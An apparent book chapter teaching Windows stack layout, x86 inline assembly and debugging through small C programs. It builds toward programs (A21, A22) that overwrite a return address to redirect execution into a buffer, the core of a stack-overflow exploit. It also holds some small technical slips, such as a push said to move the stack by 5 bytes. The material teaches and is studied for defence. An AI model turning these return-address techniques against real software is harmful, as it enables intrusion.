Buffer Overflow - Windows

 

Security is one of the fastest-growing areas in information technology management. Denial Of Service, Buffer Overflows, Email viruses etc have become general terms in today’s info world. There may not be a single computer user world over who has not been hit by these and many more attacks. Therefore, recently a lot of emphasis is laid on securing the computer systems from intruders and viruses as the effects of these attacks can be so drastic and thus irreparable.

 

In our papers, we will look at demystifying these grave attacks, from the coder’s point of view. Our belief is that to understand these attacks, one needs to be in the shoes of the hackers/crackers. And mind you, every hacker/cracker is a born programmer.

 

This book assumes that you have gained some knowledge of the C programming language. In the process, we will re-revise some basic concepts and simultaneously learn assembler too.

 

We can go on and on but we’d rather take a break and start hacking.

 

We start our journey with the vulnerability of buffer overflow

Buffer overflow technically means an overflow of the buffer. Every program is allocated some space or given buffer area in which it can write. A Buffer overflow occurs when the program spills over this buffer or tries to write in the area it is not supposed to. This allows an intruder to overwrite the existing instruction in that area, thereupon gaining full control over the system. However, before we understand the mechanism of this attack, we need to be well versed with memory management, a few concepts of stack and heap memory area.

 

Stack Memory

The programs given below give an analysis of memory allocations when a program is loaded.

 

A1.c

main()

{

abc(1,2);

pqr(3,4);

xyz(5,6);

abc(7,8);

}

abc(int i, int j)

{

printf("%p %p abc\n",&i,&j);

}

pqr(int x, int y)

{

printf("%p %p pqr\n",&x,&y);

}

xyz(int i, int j)

{

printf("%p %p xyz\n",&i,&j);

}

 

>cl a.c

 

>a

 

 

Output

0012FEDC 0012FEE0 abc

0012FEDC 0012FEE0 pqr

0012FEDC 0012FEE0 xyz

0012FEDC 0012FEE0 abc

 

The above program at first glance may seem simplistic, but it is our first cut at learning internals. We are calling three functions abc, pqr and xyz with two parameters each. The two parameters in functions abc and xyz are named as i and j and for function pqr, the name is changed to x and y.

 

The program simply displays the addresses of parameters in each function. What is noteworthy here is that all functions display the same addresses for their parameters. Thus, it can be safely stated that the parameters to each function begin at the same place in memory. As in, for function abc, parameters i and j have been allocated the same memory locations as that of p and q for function pqr.

 

Thus, memory allocated for parameters of function is always the same for every function. Meaning to say, that there is no permanent memory allocated for function parameters.

 

A2.c

main()

{

abc();

pqr();

xyz();

abc();

}

abc()

{

int i,j;

printf("%p %p abc\n",&i,&j);

}

pqr()

{

int k,l;

printf("%p %p pqr\n",&k,&l);

}

xyz()

{

int i,j;

printf("%p %p xyz\n",&i,&j);

}

 

Output

0012FED8 0012FED4 abc

0012FED8 0012FED4 pqr

0012FED8 0012FED4 xyz

0012FED8 0012FED4 abc

 

The next example is a slightly modified version. The functions abc, pqr and xyz have remained the same but they do not accept parameters anymore. But variables are created within these functions. Nevertheless, like before, all the printf’s display identical addresses. This simply reassures the belief that local variables in a function are allocated the same address each time a function is called.

 

The technicality here is that when a function exits out, all the memory allocated to it is given to the next function to be called. Thus, functions are given volatile memory, as in, the memory allocated to it is reused by another function. Also, variable names have no meaning; it is the addresses assigned to these variables that hold value.

 

A3.c

main()

{

abc(1,2);

pqr(3,4);

xyz(5,6);

abc(7,8);

}

abc(int i1, int j1)

{

int i,j;

printf("i1=%p j1=%p i=%p j=%p abc\n",&i1, &j1 , &i,&j);

}

pqr(int k1 , int l1)

{

int k,l;

printf("k1=%p l1=%p k=%p l=%p pqr\n",&k1, &l1 , &k,&l);

}

xyz(int i1, int j1)

{

int i,j;

printf("i1=%p j1=%p i=%p j=%p xyz\n",&i1, &j1 , &i,&j);

}

 

Output

i1=0012FEDC j1=0012FEE0 i=0012FED0 j=0012FECC abc

x1=0012FEDC y1=0012FEE0 x=0012FED0 y=0012FECC pqr

i1=0012FEDC j1=0012FEE0 i=0012FED0 j=0012FECC xyz

i1=0012FEDC j1=0012FEE0 i=0012FED0 j=0012FECC abc

 

This program is a merger of the above two programs. The functions names are the same but now not only do they accept two parameters, the function further creates two local variables on the stack. Printing out the addresses of the local variables and the parameters bring no surprises at all. They all remain the same for every function. 

 

A detailed version follows.

The value of 1 and 2 given to function abc are passed on to parameters i1 and j1. These parameters to functions take up some area in memory called the stack. The internals of stack memory will be explained in just a short while.

 

The parameters that are passed to a function are placed on the stack in the reverse order, therefore first 2 goes on this stack memory and then 1. Figure 1 shows these values on the stack.

 

 

 

 

Stack pointer before calling function abc

 

0x0012fee4

 

0x0012fee0

 

Moves

down

 

0x0012fedc

 

0x0012fed8

 

0x0012fed4

 

0x0012fed0

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


Figure 1 (Last In First Out-LIFO model)

 

For sake of understanding, lets take the actual values, where the stack begins at memory location 0x0012fee4. The value 2 is pushed or copied at this memory location thus moving the stack pointer to 0x0012fee0 and giving this address to j1, followed by 1 which is four memory locations away, i.e 0x0012fedc. This is very much proved by the program output, which show the same address locations for parameters i1 and j1.

 

Once the values are placed on the stack, the function code is executed. This function, abc, creates two local variables i and j. These are created at positions 0x0012fed0 and 0x0012fecc as per the output. This goes to prove that besides parameters, local variables also use up the stack memory. The difference of 8 bytes between the parameters and variables is given to function call.  We know why but hang on, one concept at a time.

 

Now when the function quits out, the stack resets back to its original position of 0012fee4. A sure indication that someone moves the current memory pointer/the stack pointer up by 24 bytes. And, the same process is repeated for all function calls.

 

A4.c

main()

{

abc(1,2);

}

abc(int i1, int j1)

{

int i,j;

printf("i1=%p j1=%p i=%p j=%p abc\n",&i1, &j1 , &i,&j);

pqr(3,4);

}

pqr(int k1 , int l1)

{

int k,l;

printf("k1=%p l1=%p k=%p l=%p pqr\n",&k1, &l1 , &k,&l);

xyz(5,6);

aaa(8,9);

}

xyz(int i1, int j1)

{

int i,j;

printf("i1=%p j1=%p i=%p j=%p xyz\n",&i1, &j1 , &i,&j);

}

aaa(int i1, int j1)

{

int i,j;

printf("i1=%p j1=%p i=%p j=%p aaa\n",&i1, &j1 , &i,&j);

}

 

Output

i1=0012FEDC j1=0012FEE0 i=0012FED0 j=0012FECC abc

k1=0012FEC4 l1=0012FEC8 k=0012FEB8 l=0012FEB4 pqr

i1=0012FEAC j1=0012FEB0 i=0012FEA0 j=0012FE9C xyz

i1=0012FEAC j1=0012FEB0 i=0012FEA0 j=0012FE9C aaa

 

The above program reinforces the same principles that parameters and local variables are created on the stack.

 

The entry point function main calls function abc. Since, the stack starts at memory 0x0012fee4, the variables i and j are created at the memory locations 0x0012fed0 and 0x0012fecc respectively. There is a gap of 8 bytes as seen before. 

 

At this point, the stack pointer is positioned at 0x0012fecc. When function pqr is called from within abc, the parameters 4 and 3 are pushed on the stack. This is in the reverse order, therefore first 4 goes on the stack at 0x0012fec8 and then 3 at 0x0012fec4. These become the addresses of parameters k1 and l1 respectively. The call then allocates 8 bytes on the stack for itself, thus giving the variables k and l the address of 0x0012feb8 and 0x0012feb4 respectively.

 

The next two function-call of xyz and aaa both give the same values. For the call of function xyz with function pqr, the stack is now at 0012feb4. The parameters 5 and 6 are pushed at address location 0x0012feb0 and 0x0012feac respectively. The variables i and j then are allocated after moving 8 away, thus end up at locations 0012Fea0 and 0012Fe9c. When this function ends, the system moves the stack up the same amount that it moved down. Therefore, the stack at the end of the call of xyz will come to location 0012Feb4.

 

The call of the aaa function follows the same process, thus bringing the stack back to 0012Feb4 in the end. When function pqr exits, the stack returns to 0012Fecc.

 

As a result, at the end of each function, the stack moves back to where it was before the function is called.

 

This theory can be tried out with as many functions, but eventually, each will see the stack at the same position. These functions in turn may call as many functions as well, however the same rules apply. At the end of a function call, the stack moves up as much as it had moved down. Each one cleans up its own mess.

 

A5.c

main()

{

int i,j;

i = 2;

j = 3;

printf("Address of i=%p j=%p\n",&i,&j);

abc(i,j);

printf("i=%d\n",i);

}

int abc(int x, int y)

{

int *z;

printf("Adress of z=%p x=%p y=%p\n",&z,&x,&y);

z = &y;

z++;z++;

printf("z=%p\n",z);

*z = 8;

}

 

Output

Address of i=0012FEE0 j=0012FEDC

Adress of z=0012FEC8 x=0012FED4 y=0012FED8

z=0012FEE0

i=8

 

This last example on stack shows how dangerous stack manipulation can get. The function main is the first function to be called and in all other aspects, it behaves in a similar manner like the other functions when dealing with stack memory. The local variables i and j in main are also created on the stack at 0x0012fee0 and 0x0012fedc.

 

The call to function abc will place the values 3 and 2 on the stack at locations 0012Fed4 and 0012Fed8 before taking up 8 bytes for itself. The parameters x and y are at the above addresses.

 

The pointer variable z is stored at location 0x0012fec8. This variable is initialized to address of parameter y, which is a value of 0x0012fed8. Thereafter, z is incremented by 8, hence its new value is 0x0012fee0. But, if you remember, this is the address occupied by variable i.

 

Further, using the features of pointers, a value of 8 is written to this location, thereupon actually changing the value of variable i. This is the power of pointers. One pointer variable, if it wants can overwrite the value of a variable in another function indirectly. Since, all local data is stored on the stack, it is susceptible to being overwritten.  Therefore, call someone else’s function with care.

 

Assembler code in C programs

 

The next series of programs explain assembler programming. We believe that every programmer in the world should understand assembler. Unfortunately, our view is not held by the majority. It does not matter which language you use to write your code in, when it finally executes, it will be assembler code and not your favorite language code that executes. We are not suggesting that you write your code in assembler, all that we are saying is using assembler helps in understand the internals of computing better.

 

A microprocessor or a computer is made up of entities or memory called registers. These registers are the basic building blocks that any assembler programmer works with and they are given names like eax, ebx etc.

 

Whenever we encounter the return instruction in C like ‘return 100’, two things happen. One, the value 100 is placed in the eax register and two, the function ends thus control goes back to the function that called it. It is assumed here that any value returned by the called function will be found in the eax register.

 

 

 

A6.c

main()

{

int i;

i=abc();

printf(“%d\n”,i);

}

int abc()

{

return 100;

}

-------

main()

{

int i;

i = abc();

printf("%d\n",i);

}

int abc()

{

__asm

{

mov eax,100

}

}

 

>cl a.c

>a

 

Output

100

 

 

The above program simulates the return instruction by simply placing a value in a register. The most common instruction is the mov instruction, which normally makes up over 25% of any assembler program. The syntax demands first the destination register, then a comma and then the entity that is to be placed in the destination register. Thus the instruction mov eax,100 will place the value 100 in the eax register.

 

To place the assembler instruction in a C program, we enclose the instructions within the keyword __asm with the normal curly braces. In the above program the instruction set is placed in function abc. When the function executes, it simply moves/copies the value 100 in the eax register and then quits.

 

Coming back to function main, the value placed in the eax register is given to variable i. Thus, there is no way that the program knows or cares whether it is the return statement or a manual insertion of a value in the eax register that has done the job.

 

A7.c

main()

{

__asm

{

push 10

push 20

}

abc();

}

int abc(int i , int j)

{

printf("%d %d\n", i , j);

}

 

Output

20 10

error

 

The next series of programs show how a function call in C is converted to assembler code. When there is a call to a function, first, the parameters get pushed on the stack in the reverse order. In assembler, it is the push instruction that is used to push anything on the stack.

 

As a result, a call to abc function in C which is abc(20,10); will first push 10 on the stack using the push 10 instruction, which is then followed by the push 20 instruction . The stack will now look like figure 4.

 

Thereafter the abc function is called in the normal C way but with no parameters.

 

Function abc is oblivious to the number of parameters it gets called with. All that it assumes is that it is called with the parameters present on the stack. It displays their values and then returns to main. However, an error results. This is because the stack is not restored back to where it should be. We moved it down 8 bytes while supplying parameters, so once the function call ends, it has to be restored back.

 

The next program repairs this glitch.

 

A8.c

main()

{

__asm

{

push 10

push 20

}

abc();

__asm

{

add esp,8

}

}

int abc(int i , int j)

{

printf("%d %d\n", i , j);

}

 

Output

20 10

 

The program amends the error by adding 8 to the stack pointer using the esp register. It is the esp register which decides where the stack starts in memory. If its value is 100, the stack is said to start at memory location 100. With every push instruction, the stack moves down 4 bytes or goes 4 less.

 

The add instruction takes a register as the first parameter followed by the incremental value hence ‘add esp,8’. Since the stack is restored back to its original position as before the function call, no errors are seen anymore.

 

A9.c

main()

{

printf("esp=%x\n",esp());

__asm

{

push 10

}

printf("esp=%x\n",esp());

__asm

{

push 20

}

printf("esp=%x\n",esp());

abc();

printf("esp=%x\n",esp());

__asm

{

add esp,8

}

printf("esp=%x\n",esp());

}

int abc(int i , int j)

{

printf("%d %d\n", i , j);

}

int esp()

{

__asm

{

mov eax,esp

}

}

 

Output

esp=12fedc

esp=12fed8

esp=12fed4

20 10

esp=12fed4

esp=12fedc

 

The above program shows a newly added function called esp. This function simply copies the value in the esp register to eax. This means that the return value of the function is now the stack position. As a result, before the first push, the stack position is seen at 12fedc and after the push 10 instruction, the stack shows a value of 12fed8 which is 4 less. Thus the stack has moved down 4 bytes.

 

The second push 20 instruction moves the stack further down to12fed4. When function abc ends, the stack is at the same position of 12fed4, which is what it was before the function call. And before winding up, 8 is added to the stack position to move it up to 12fedc. These numbers re-confirm our explanation.

 

A10.c

int abc(int i , int j)

{

printf("%d %d\n", i , j);

}

main()

{

__asm

{

push 10

push 20

call abc

add esp,8

}

}

 

Output

20 10

 

A function call in C has its equivalent in assembler; it is the call instruction. This instruction only requires the actual physical address of the function to be called. In this program, instead of giving the address of the function, we have given it the function name. The system internally replaces the name of the function with its address.

 

The only rationale in placing the function abc before main is that the compiler reads the entire file only once. It is a single pass one, therefore it does not reread the c file. Hence, it needs all function names to be created first before they can be used.

 

A11.c

int abc(int i , int j)

{

printf("%d %d\n", i , j);

}

main()

{

printf("%p\n",abc);

}

 

Output

00401000

 

The name of a function in C represents the address of the function. Therefore, the address of abc function when displayed shows 401000 (on our machine).

 

A12.c

int abc(int i , int j)

{

printf("%d %d\n", i , j);

}

main()

{

__asm

{

push 10

push 20

mov eax,401000h

call eax

add esp,8

}

}

 

Output

20 10

 

Once we know the address of function abc as 401000, we place this value in the eax register. The call instruction is then given the address or the function name through this eax register.

 

For the call instruction, the value given to it is where it assumes some program resides. Hence, it starts treating the bytes at that location as program code and starts executing them.

 

Just for your information, it is the job of the compiler/linker to replace function names with actual addresses.

 

A13.c

#include <windows.h>

main()

{

char *p = "hi";

char *q = "bye";

printf("p=%p q=%p\n",p,q);

MessageBox(0,p,q,0);

}

 

>cl a.c user32.lib

 

Output

p=00408040 q=00408044

 

In all our earlier programs, the code of the function, i.e. abc resided in the same file with main. In this program, we have attempted to call the MessageBox function whose code lies in a dll, user32.dll. This dll is copied by the system while installing windows. Since the code lies in an external file, the complier/linker, the cl command must have the lib file user32.lib explicitly added.

 

 

A lib or a library refers to the dll in which the code of a function resides. In the same manner, file user32.lib identifies the dll in which the code of the MessageBox function resides, which is user32.dll.

Besides, the above program also gives the address locations of the two strings p and q in the data section of the exe file, which is at 00408040 and 00408044.

 

The MessageBox function takes two strings as parameters as well as two zeroes, where the first zero stands for the parent window handle and the last zero is the type of message box that is to be displayed.

 

A14.c

#include <windows.h>

main()

{

char *p = "hi";

char *q = "bye";

printf("%p %p\n",p,q);

__asm

{

push 0

push 0x00408040

push 0x00408044

push 0

call DWORD PTR MessageBox

}

}

 

This program attempts at convert the call of the MessageBox function into assembler. Bearing in mind that the parameters are pushed in the reverse order, first the type of MessageBox is pushed, followed by the memory address of the two strings and finally the window handle is placed on the stack.

 

While calling the MessageBox function, the DWORD PTR is a ‘necessary-evil’, which we will explain later. Further, all function in windows use the standard calling convention that requires the called function and not the callee to restore the stack to its original position. As a result, the function MessageBox before quitting, would be adding 16 bytes to the stack.

 

Due to this, the stack is not restored in the program for it is the job of the MessageBox function to clean up its mess. The advantage in having standard calling function is that there is less code regardless of which, calling the MessageBox function 10 times, would ask for 10 add instructions, in contrast to one add instruction in the function itself.

 

A15.c

#include <windows.h>

main()

{

HANDLE h;

char *p;

printf("%p\n",MessageBox);

h = LoadLibrary("user32.dll");

p = GetProcAddress(h,"MessageBoxA");

printf("h=%p p=%p\n",h,p);

}

 

Output

77E375D5

h=77E10000 p=77E375D5

 

The name of a function gives the address location of its code in memory. This had been showcased using the abc function, in one of the above programs. This concept is reused here to find out the address of the MessageBox function.

 

There are two ways to it. The first is the easiest one, i.e. using the printf function. The value is given as 77E375D5.

 

There is very much a possibility that you may see a different value on your machine as this value depends on where user32.dll is loaded in memory and where this function resides in this dll. The value also depends on the version of Windows and the service pack installed. Each version of windows may load user32.dll in a different memory location. Besides, since the code of user32.dll is written by Microsoft, it is their prerogative to decide where MessageBox function resides in the dll.

 

The second alternative is to use a function called LoadLibrary. The sole task of this function is to load the dll user32.dll into memory. If the dll is already present in memory, it is not loaded again. The return value of this function is the memory location of the loaded dll. The value given is 77E10000. Thereafter, using the GetProcAddress function, the actual address of the function within this dll is achieved.

 

You may notice that we have given the function name as MessageBoxA. The reason behind it is that MessageBox in user32.dll has two names, MessageBoxA and MessageBoxW. If it is the ascii version then MessageBoxA is to be used whereas if it is the Unicode version then MessageBoxW is to be used. Since we are following the ascii method, MessageBox internally boils down to MessageBoxA. There is a #define in windows.h that converts the name MessageBox either to MessageBoxW or MessageBoxA.

 

The function GetProcAddress gives the same value of 77E375D5 as seen with the printf function.

 

A16.c

#include <windows.h>

main()

{

char *p = "hi";

char *q = "bye";

LoadLibrary("user32.dll");

printf("%x %x\n",p,q);

__asm

{

push 0

push 0x00408040

push 0x00408044

push 0

mov eax , 0x77E375D5

call eax

}

}

 

Using the same principles learned earlier, the address value of the MessageBoxA function 0x77E375D5 is placed in the register eax and then the call instruction is called. We do have to specify the library user32.lib as we are making an explicit call to the MessageBoxA function.

 

A17.c

#include <windows.h>

main()

{

char *p = "hi";

char *q = "bye";

LoadLibrary("user32.dll");

printf("%x %x\n",p,q);

__asm

{

push 0

push 0x00408040

push 0x00408044

push 0

push 0x77E375D5

add esp,4

call DWORD PTR [esp-4]

}

}

 

There are different ways of giving the call instruction with the address of the function. One of the many ways is by pushing the address of the function, in our case 0x77E375D5 on the stack. But this moves the stack down by 5 and not four.

 

A value of four is added to esp so that the stack points to the last parameter value 0 and then the call instruction is given. Along with it, instead of specifying esp by itself, we put square brackets around it. This indicates that the value of esp is not to be taken as is, instead it must behave like a pointer. So, once the value of esp is figured out, next 4 bytes at that memory location are to be picked up. But since the stack has moved up by 4, which means that the stack is at parameter value 0, an expression of esp – 4 is given, as the address of function MessageBoxA is stored at this location.

 

A18.c

main()

{

int p = 6;

int q = 7;

printf("p=%p q=%p\n",&p,&q);

abc(3,4);

pqr();

}

int abc(int i , int j)

{

int x = 1;

int y = 2;

printf("i=%p j=%p\n",&i,&j);

printf("x=%p y=%p\n",&x,&y);

printf("abc %x %x %x %x %x %x %x\n");

}

int pqr()

{

printf("pqr %x %x %x %x %x %x %x\n");

}

 

Output

p=0012FEE0 q=0012FEDC

i=0012FED4 j=0012FED8

x=0012FEC4 y=0012FEC8

abc 1 2 12fee4 401031 3 4 7

pqr 12fee4 401038 7 6 12ffc0 40125c 1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


Figure 2

 

Lets take a good look at Figure 2. Here first, variables p and q first are created on the stack at locations 0012fee0 and 0012fedc and then their values 6 and 7 are placed in there. The abc function is called with parameters 3 and 4 which get placed on the stack at 0012fed4 and 0012fed8 and stored in variables called i and j. Thereafter, two variables x and y are created on the stack at 0012fec4 and 0012fec8 with values of 1 and 2 respectively.

 

The abc function simply prints out the next 7 values on the stack, not considering the printf string. The output shows two local variables x and y whose values are 1 and 2. Then the two numbers placed by the call instruction for function abc, 0012fee4 and 401031 are seen followed by the two parameters i and j with values 3 and 4. Finally, the value of variable q in main at 7 is displayed.

 

Now lets understand what the call instruction does. This call instruction takes up 5 bytes in memory and hands over control to another function, which may be anywhere in memory. In short, the call instruction actually transfers control to another memory location. This called function will execute the code it caries and when it ends, control should now go back to the next line following the call instruction. The point here is that the address of this next instruction must be saved somewhere. The call instruction is known to use the stack extensively.

 

For instance, if the call instruction begins at memory location 100, the next instruction to be executed would begin at location 105. Now, this value 105 must be saved so that it becomes the next instruction to be executed when the called function ends. The eip register holds address of the next instruction to be executed.

 

If a chunk of code placed at a certain memory location is to be executed, its address is first to be placed in the eip register. The call instruction is then used to transfer control to this area. However, before it passes on control, it adds 5 to its current location and stores the value on the stack. So if the call instruction is at 100, 105 gets stored on the stack. This address is that of the next statement after call. Meaning to say that once the function returns control back, it will start execution at 105.

 

This sustains the fact that a function has to take care of the stack memory it uses since the return address, when the function ends, can be found only on the stack. Thus, if the function moves the stack 12 down, as in our case, it has to move the stack up by 12 bytes. For these reasons, the last line of every function is the ret instruction.

 

This instruction looks at the restored stack position and the value it finds there, places it in the eip register. Moreover, as learnt earlier, the eip always stores the address of the code that is to be executed. Thus, control is transferred back to the instruction placed after call.

 

As per our program, the function abc, when it returns, will execute code at 401031 as this value is found on the stack. Here, we can safely assume that at memory location 401031-5 i.e. 40102c is the call instruction for abc. Similarly, when function pqr returns, code at memory location 401038 is called.

 

Now lets understand the four bytes that get pushed on the stack. These bytes are placed by the compiler and come into picture after the return address.

 

The job of the compiler is to generate machine-language instructions. In our function, we have parameters and local variables. These parameters come before the return address and after the local variables; thus it keeps the stack moving up and down.

 

The parameters and variables are all with respect to the stack and they are in reference constantly. Thus, at the start of every function, some standard code is placed called by the function prolog. This code first pushes the value in the ebp register on the stack. Bear in mind, that a register value is placed on the stack so that its value is saved since the register will be overwritten by other value. Any register value that would be overwritten must be saved first.

 

Accordingly, when a function ends and returns control back to the calling program, all the registers must carry the same values that it held when the function was called. The called functions are also known to erase the values they have placed on the stack.

 

The value of the esp register is moved into ebp. All positive offsets from ebp refer to parameters whereas all negative ones refer to local variables. Therefore, ebp is termed to be the base pointer and is very useful when designing the stack frame. When function abc ends, the stack is moved up by 8 to erase the 2 variables created on the stack.

 

The epilogue function does the reverse of the prolog. It pops the value of ebp off the stack into the ebp register thus bringing the stack to the position where the call stored the next executable instruction. The ret instruction finally pops this value into the eip register.

 

To sum up the earlier works, when a function is called, the call instruction places the address of the next immediate instruction on the stack. Then the function prolog places the value of ebp on the stack and points ebp to esp in order to refer to variables and parameters. The function may create local variables on the stack but eventually cleans it up too. The epilogue function then pops ebp off the stack and the ret instruction transfers control to the instruction after call.

 

In this manner, functions placed anywhere in memory return control back to the executing code, all with heavy usage of stack.

 

A19.c

main()

{

abc(10,20);

}

abc(int i , int j)

{

int p = 100;

int q = 200;

printf("i=%p j=%p p=%p q=%p\n",&i,&j,&p,&q);

__asm

{

mov [ebp-4] , 4

mov DWORD PTR [ebp-8] , 3

mov 8[ebp] , 2

mov DWORD PTR 12[ebp] ,1

}

printf("p=%d q=%d i=%d j=%d\n",p,q,i,j);

}

 

Output

i=0012FEDC j=0012FEE0 p=0012FED0 q=0012FECC

p=4 q=3 i=2 j=1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


Figure 3

 

Figure 3 is almost the same diagram as seen before. But, for one last time we will repeat the workings.

 

The two values 20 and 10 are assigned to parameters i and j starting at stack position 0x0012fee0 and 0x0012fedc. The call instruction pushes the next instruction address of 0x0012fed8 on the stack before the function prologue pushes the value of ebp on the stack. At this point, the stack pointer or esp has a value of 0x0012fed4 which is then moved into the ebp register.

 

The variables p and q are then created at 0x0012fed0 and 0x0012fecc. In the assembler code, by moving 4 into the memory denoted by ebp-4 becomes 0x0012fed4-4 or 0x0012fed0 which is also the address of variable p. Thus, ebp-8 or 0x0012fecc becomes the address of variable q. The local variables are created after the function prolog and therefore have a negative offset visa v the constant value of ebp. Moreover, by adding 8 to the ebp register is where parameter i is located, and adding 12 takes to j.

 

Like a pointer reference the reference can be written as [ebp+8] as well as 8[ebp]. Thus, a compiler while generating assembler code uses similar rules while referring to parameters and local variables.

 

It is preferred using the ebp value to refer to variables and parameters instead of esp as the value of esp changes constantly.

 

A20.c

main()

{

printf("Main %p\n",main);

__asm

{

push 0x00401000

ret

}

}

 

Output

Main  00401000

Main  00401000

Main  00401000

 

The above program goes into an infinite loop thereby explaining the importance of the ret keyword.

 

The function Main starts in memory at 0x00401000. The push instruction pushes the same value on the stack, thus the stack now contains the address of function main.

 

When the ret instruction is executed, it sees 0x00401000 on the stack. So, it moves the stack up by 4 and puts this value in the eip register. As we remember, the eip register holds the address of the next executable code, thus control passes on to this address. This, in effect, being the address of function Main executes the function and thus becomes an endless loop.

 

A21.c

main()

{

int x = 11;

abc();

x = 4;

printf("x=%d\n",x);

}

abc()

{

int a;

int *p;

printf("a=%p p=%p \n",&a, &p);

p = &a ;

p = p + 3;

printf("%p\n",p);

*p = *p + 7;

}

 

Output

a=0012FED0 p=0012FED4

0012FEDC

x=11

 

 

 

 

 

ESP

 

p=&a

 

p=p+3

*p = *p+7

 

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


Figure 4

 

The above program maneuvers the code execution by changing the return address. The workings are explained below

 

No values are pushed on the stack other than the call to the abc function, which places the address of the next executable instruction on the stack. As you see, the instruction simply sets the value of variable x to 4. On printing the value, the address seen is 0x0012fedc. Besides, the function prolog puts ebp on the stack at 0x0012fed8.

 

Now within the abc function, local variable a is created at 0x0012FED0 and p at 0x0012fed4. Also, the pointer p is set to the address of a i.e. 0x0012FED0. An increase of 3 or 12 bytes sets the variable p to 0x0012fedc. However, this location is the address of the next executable instruction, which sets the variable x to 4 and it is 5 bytes after the ‘call’ instruction.

 

A mov instruction takes up 7 bytes and a little later, we will display its relevance. As of now, we set the return address on the stack to a value 7 larger than what it is. This, in effect, bypasses the code statement x = 4, as a result of which the program on execution ignores this line completely. The line x = 4 does not get called and hence x retains the value of 11.

 

Thus, by changing the return address on the stack, we can manipulate the next instruction to be called. This theory is particularly emphasized in the buffer overflow exploit.

 

A22.c

char buf[20];

main()

{

int *p;

buf[0] = 0xcc;

printf("p=%p buf=%p\n",&p,&buf);

p = &p;

p = p + 2;

*p = &buf;

}

 

The pointer p is created on the stack and under normal circumstances, two words above would be stored the return address of the caller to the main function. This address can be rewritten on incrementing pointer p by 2 or 8 bytes. At this position is the address of the array buf instead. As a result, when main completes its routine, the ret instruction will place the address of buf into eip.

 

So the code encapsulated in buf will be activated. The assembly instruction given here starts is CC, which denotes the breakpoint interrupt. For that reason, a MessageBox will show up with the options of cancel or ok. Clicking on the cancel button moves into the debugger mode, which is what we will study next.

 

Using a Debugger

 

A23.c

main()

{

__asm

{

int 3

}

abc(3,4);

}

int abc(int i , int j)

{

pqr();

return 5;

}

int pqr()

{

}

 

This program is given to understand the workings of a debugger with the framework of Visual C++ 7.0 as it is the easiest debugger we have come across.

 

The program starts with the execution of the instruction int 3 which calls interrupt 3. This in turn prompts the operating system to display a MessageBox stating that a breakpoint exception had been reached as seen in figure 8.


 


Figure 8

 

Clicking on the Cancel button switches on to the debugger mode whereas Clicking on the OK button quits out of the program. Here we click on the yes button and the screen that comes about is shown in figure 9. It is that of Visual C++ debugger. Your mileage will vary.

 

 


 


Figure 9

 


 


Figure 10

 

 


 


Figure 11

 

On our screen, there are three windows namely Memory 1, Register and Disassembly. Now close all the other windows leaving the above three windows displayed. You can arrive at the same by clicking on the Debug menu, then windows and thereafter selecting the above options. The Memory windows seen at the very end in the Windows option display the contents of any memory location. We will use this window to see the contents of the stack memory. The stack is nothing but an area of memory used for a special purpose.

 

The last window is the register window that displays the contents of each and every register.

The good part of this window is that every register that is changed by an instruction is reflected in red, thus there is no need of a magnifying glass.

 

Finally, the window in between is the one that is called Disassembly. This window displays the actual assembly code that is generated and executed along with the memory locations the code resides in. right click in the disassembly window and select the option of ‘Show code bytes’

 

The above program boils down to the following bytes.

 

  00401000: 55                     push        ebp

  00401001: 8B EC                 mov         ebp,esp

  00401003: CC                     int         3

  00401004: 6A 04                 push        4

  00401006: 6A 03                 push        3

  00401008: E8 04 00 00 00    call        00401011

  0040100D: 59                      pop         ecx

  0040100E: 59                      pop         ecx

  0040100F: 5D                      pop         ebp

  00401010: C3                      ret

  00401011: 55                      push        ebp

  00401012: 8B EC                 mov         ebp,esp

  00401014: E8 05 00 00 00    call        0040101E

  00401019: 6A 05                 push        5

  0040101B: 58                     pop         eax

  0040101C: 5D                     pop         ebp

  0040101D: C3                     ret

  0040101E: 55                     push        ebp

  0040101F: 8B EC                mov         ebp,esp

  00401021: 5D                    pop         ebp

  00401022: C3                    ret

 

The instruction at memory 00401003 is the int 3 instruction, which switches the program execution into the debug mode. The machine language equivalent op code for the int 3 instruction is CC. Note that the registers window shows eip having the address of 401003 at the int 3 instruction.

 

After this breakpoint is the call to function abc which takes two parameters, 3 and 4. As a result, these two values are pushed on the stack, first the value of 4 is pushed and then 3.

 

The function key F11 on the keyboard executes a line of code at a time or single steps the program. On pressing the F11 key, the eip register shows a change, it now has the value of 00410004 thus indicating that the next instruction to be executed will be the push 4. It will take a while, but very soon you will remember that 6a is the op code for a push instruction which is always followed by the value to be pushed on the stack.

 

Before we press F11 to single step and execute this instruction, lets look at the next task that will be performed.

 

The value of the esp register or the stack pointer is initially at 0x0012fee4. As per our knowledge, this will reduce by 4 and become 12fee0. Write the words esp in the memory window so that we explicitly see the stack position and the bytes contained therein. Also, the number 4 will be on the stack.

 

On pressing F11, three things happen. Register eip becomes 401006 thus indicating that the push 3 will be called next. Register esp becomes 12fee0, 4 less as the stack moves down and at 12fee0 the values 4 0 0 0 is sited. The stack window must be scrolled up to see the values.

 

Press F11 again and the eip register increases by 2 to 401008. The stack reduces by 4 to 12FEDC and the values 3 0 0 0 are placed at stack location 12fedc.

 

The call instruction is the next to be called as the eip now has the value of 401008. Bear in mind that the call op code is E8 followed by the address of the next instruction to go to.  At this point, the call is relative as the value of 8 specifies 8 bytes from the current address. The call instruction located at 401008 itself takes up 5 bytes, hence the code beginning at 40100d will be called. The gap between them is 13 bytes, 8 bytes specified by the call offset and 5 taken up by the call.

 

The call instruction also decreases esp by 4 from 12FEDc to 12fed8. Further on, it places the value 40100d on the stack at position 12fed8. The value found at this position is 0d 10 40 00 (behavior of a little endian machine) as the lower bytes are stored first.

 

The eip register holds a value of 401011 as the prolog of the function abc is now being executed. Note that the register ebp has a value of 12fee4, therefore the push ebp instruction will push this value on the stack apart from reducing the stack position value by 4 to 12fed4. Pressing F11 gives the stack a new value of 12fed4 and the stack memory contains e4 fe 12 00.

 

The following instruction moves the value of esp into ebp, resulting into giving ebp a value 12fed4.

 

The pqr function called from abc lies 8+5 bytes away from the call instruction. Thus, the call instruction will reduce the stack by 4 to 12fed0 and place the address 401019 on the stack. This is placed as 19 10 40 00. Function pqr again starts with the instruction of push ebp on the stack and then replaces its value with esp.

 

